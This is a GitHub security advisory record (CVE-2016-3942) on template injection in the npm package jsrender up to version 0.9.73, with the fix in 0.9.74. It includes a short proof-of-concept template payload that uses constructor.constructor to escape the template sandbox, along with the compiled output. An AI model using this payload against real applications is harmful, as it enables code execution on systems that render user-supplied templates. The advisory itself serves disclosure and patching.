GHSA-R87W-47M8-22W3
Vulnerability from github – Published: 2020-09-01 15:24 – Updated: 2023-09-07 20:41
VLAI?
Summary
Template Injection in jsrender
Details
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
Severity ?
6.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.73"
},
"package": {
"ecosystem": "npm",
"name": "jsrender"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.74"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-3942"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:10:44Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:[\u0027~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)\u0027]}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.",
"id": "GHSA-r87w-47m8-22w3",
"modified": "2023-09-07T20:41:26Z",
"published": "2020-09-01T15:24:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3942"
},
{
"type": "WEB",
"url": "https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6"
},
{
"type": "PACKAGE",
"url": "https://github.com/BorisMoore/jsrender"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/97"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Template Injection in jsrender"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…